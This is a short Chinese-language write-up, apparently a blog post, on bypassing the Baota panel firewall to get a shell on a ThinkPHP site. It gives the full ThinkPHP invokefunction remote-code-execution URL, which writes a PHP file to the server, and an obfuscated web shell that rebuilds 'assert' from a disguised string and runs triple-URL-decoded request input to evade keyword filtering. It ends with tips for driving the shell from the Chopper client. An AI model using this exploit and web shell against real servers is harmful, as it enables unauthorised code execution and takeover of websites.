Thinkphp繞過寶塔getshell

能夠看到直接被攔了，經測試這裏是敏感函數字符攔截，大部分有用的敏感函數都被攔了，這裏面被攔的是phpinfo()

 

Emmmm,怎麼辦呢。。。。。

直接執行代碼不行，那麼就寫入代碼吧，用file_put_contents()函數進行寫入。

但這裏又有一個問題，正常的寫入因爲請求參數中帶有敏感字符同樣會被攔，而且使用小馬執行調用敏感函數的時候也會被攔

 

 

因此得配合點黑科技,使用特殊小馬，加URL編碼三次

 

 

url:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

小馬：

<?php

$poc ="axsxsxexrxt";

$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

 

值要進行三次URL加密

 

 

原版C刀配置：

PHP_MAKE參數進行三次url加密，和設置請求頭便可